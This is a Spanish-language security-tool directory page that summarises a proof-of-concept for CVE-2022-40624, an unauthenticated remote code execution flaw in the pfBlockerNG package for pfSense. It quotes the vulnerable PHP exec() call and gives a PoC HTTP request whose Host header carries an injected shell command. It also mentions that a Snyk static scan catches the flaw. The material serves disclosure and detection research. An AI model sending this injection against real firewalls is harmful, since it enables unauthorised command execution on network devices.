Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/dhammon/pfblockerng-cve-2022-40624
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdhammon/pfblockerng-cve-2022-40624

pfBlockerNg-CVE-2022-40624

Exploit de prueba de concepto para ejecución remota de código no autenticada en pfBlockerNg mediante entrada no saneada en la función de consulta DNSBL TLD, con análisis de detección SAST.

Ver Repositorio
22hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

pfBlockerNg-CVE-2022-40624

Antecedentes

pfBlockerNG es la próxima generación de pfBlocker con las siguientes características:

  1. Administrar fuentes de listas IPv4/v6 en formatos 'Denegar, Permitir o Coincidir'.
  2. Base de datos GeoIP de MaxMind Inc. (versión gratuita GeoLite2).
  3. Mejoras de deduplicación, supresión y reputación.
  4. Posibilidad de descargar desde diversos formatos de listas.
  5. Integración avanzada para fuentes de amenazas de reputación IP Proofpoint ET IQRisk.
  6. Bloqueo de nombres de dominio (DNSBL) a través del resolvedor DNS Unbound.

https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html

Versiones afectadas

pfBlockerNg <2.1.4_27

Vulnerabilidad

Ejecución remota de código sin autenticación (RCE)

La consulta para la sección de bloqueo de TLD de index.php incluye una entrada de usuario no saneada/no escapada d_query del encabezado Host en el sumidero de la función PHP exec.

exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

/pfblockerng/www/index.php

root@kitploit:~
// Query for a TLD Block
if (empty($pfb_query)) {
	$idparts	= explode('.', $query);
	$idcnt		= (count($idparts) -1);

	for ($i=1; $i <= $idcnt; $i++) {
		$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
		exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

		if (!empty($match[0])) {
			$pfb_query = 'DNSBL_TLD';
			break;
		}
	}
}

Explotación

Requiere acceso HTTP a la consola web de pfSense Payload de ejemplo: ' *; sleep 5; '

Solicitud de PoC:

root@kitploit:~
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2

Inspiración

Me encanta pfBlockerNg y me inspiré en el reciente CVE-2022-31814 de Di r00t y su excelente artículo https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ y sentí curiosidad por ver si la herramienta de prueba de seguridad estática de aplicaciones (SAST) de Snyk detectaría la vulnerabilidad. Así que descargué el archivo index.php de la versión 2.1.4_26 y ejecuté Snyk Code contra él. Efectivamente, Snyk detectó la vulnerabilidad, además de otra similar reportada apenas unas líneas después.

Descargar herramienta